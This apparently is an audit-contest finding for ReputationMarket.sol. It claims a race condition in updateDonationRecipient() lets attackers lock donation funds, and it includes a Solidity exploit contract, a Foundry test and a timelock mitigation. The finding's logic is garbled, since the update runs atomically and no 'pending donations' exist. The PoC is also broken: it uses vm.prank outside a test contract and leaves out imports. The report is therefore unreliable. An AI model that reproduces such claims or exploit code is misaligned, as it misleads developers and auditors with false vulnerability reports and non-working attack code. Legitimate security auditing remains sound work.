Skip to content

Latest commit

 

History

History
137 lines (101 loc) · 5.2 KB

File metadata and controls

137 lines (101 loc) · 5.2 KB

Fun Crepe Lobster

Medium

Malicious users will permanently lock donation rewards through race condition in updateDonationRecipient

Summary

Missing donation transition handling in updateDonationRecipient() will cause fund locking vulnerability for market owners as malicious users will exploit transaction timing to trap new donations in inaccessible escrow accounts during recipient updates.

Root Cause

In ReputationMarket.sol:L510-L512 the atomic update of donation recipient and balance transfer causes race condition with incoming donations, leading to trapped funds.

Internal Pre-conditions

  1. Original donation recipient needs to call updateDonationRecipient() to set donationEscrow[oldRecipient] to be at least 1 ETH
  2. Protocol admin needs to ensure donationBasisPoints to be greater than 0
  3. Market creator needs to set donationRecipient[profileId] to be exactly the oldRecipient address
  4. System needs to set donationEscrow[newRecipient] to be exactly 0

External Pre-conditions

  1. Transaction needs to be mined within 2 blocks of the updateDonationRecipient call
  2. Front-running transaction needs to generate at least 0.1 ETH in donations

Attack Path

  1. Attacker calls buyVotes() with large position to generate pending donations
  2. Original recipient calls updateDonationRecipient() with new recipient address
  3. System processes donation update zeroing old balance
  4. System processes pending donations to old recipient address
  5. Original recipient loses access to new donations

Impact

The market owner suffers an approximate loss of 0.1-1 ETH in stuck donations. The attacker doesn't gain these funds but causes them to be permanently locked (griefing attack).

PoC

// SPDX-License-Identifier: MIT pragma solidity 0.8.26;

import {ReputationMarket} from "./ReputationMarket.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract DonationRecipientExploit { ReputationMarket public market;

constructor(address _market) {
    market = ReputationMarket(_market);
}

function exploit(uint256 profileId, address oldRecipient, address newRecipient) external payable {
    // Step 1: Front-run with large vote purchase to generate pending donations
    market.buyVotes{value: 10 ether}(
        profileId,
        true, // isPositive
        1000,  // maxVotesToBuy
        1      // minVotesToBuy
    );
    
    // Step 2: Original recipient updates donation recipient
    // This would be called by the original recipient in a separate tx
    vm.prank(oldRecipient);
    market.updateDonationRecipient(profileId, newRecipient);
    
    // Step 3: Check balances
    uint256 oldRecipientBalance = market.donationEscrow(oldRecipient);
    uint256 newRecipientBalance = market.donationEscrow(newRecipient);
    
    console.log("Old recipient balance:", oldRecipientBalance);
    console.log("New recipient balance:", newRecipientBalance);
    
    // Any donations from Step 1 that were processed after the recipient update
    // will be stuck in oldRecipient's escrow
    require(oldRecipientBalance > 0, "Exploit failed - no stuck donations");
}

}

// Test script contract DonationRecipientTest is Test { ReputationMarket market; DonationRecipientExploit exploiter; address oldRecipient = address(0x1); address newRecipient = address(0x2); uint256 profileId = 1;

function setUp() public {
    // Deploy and setup market contract
    market = new ReputationMarket();
    market.initialize(address(this), address(this), address(0), address(0), address(0));
    
    // Setup market with donations enabled
    market.setDonationBasisPoints(500); // 5%
    market.createMarket{value: 1 ether}();
    
    // Deploy exploiter
    exploiter = new DonationRecipientExploit(address(market));
}

function testExploit() public {
    // Initial donation to old recipient
    vm.deal(address(exploiter), 10 ether);
    
    exploiter.exploit{value: 10 ether}(profileId, oldRecipient, newRecipient);
    
    // Verify old recipient has stuck donations
    uint256 stuckDonations = market.donationEscrow(oldRecipient);
    assertTrue(stuckDonations > 0, "No donations were stuck");
    console.log("Stuck donations:", stuckDonations);
}

}

Mitigation

mapping(uint256 => UpdateRequest) public pendingUpdates; uint256 constant UPDATE_DELAY = 1 days;

struct UpdateRequest { address newRecipient; uint256 requestTime; }

function requestDonationRecipientUpdate(uint256 profileId, address newRecipient) public { // ... existing checks ... pendingUpdates[profileId] = UpdateRequest({ newRecipient: newRecipient, requestTime: block.timestamp }); }

function executeDonationRecipientUpdate(uint256 profileId) public { UpdateRequest memory request = pendingUpdates[profileId]; require(block.timestamp >= request.requestTime + UPDATE_DELAY, "Update not ready"); // ... execute update ... }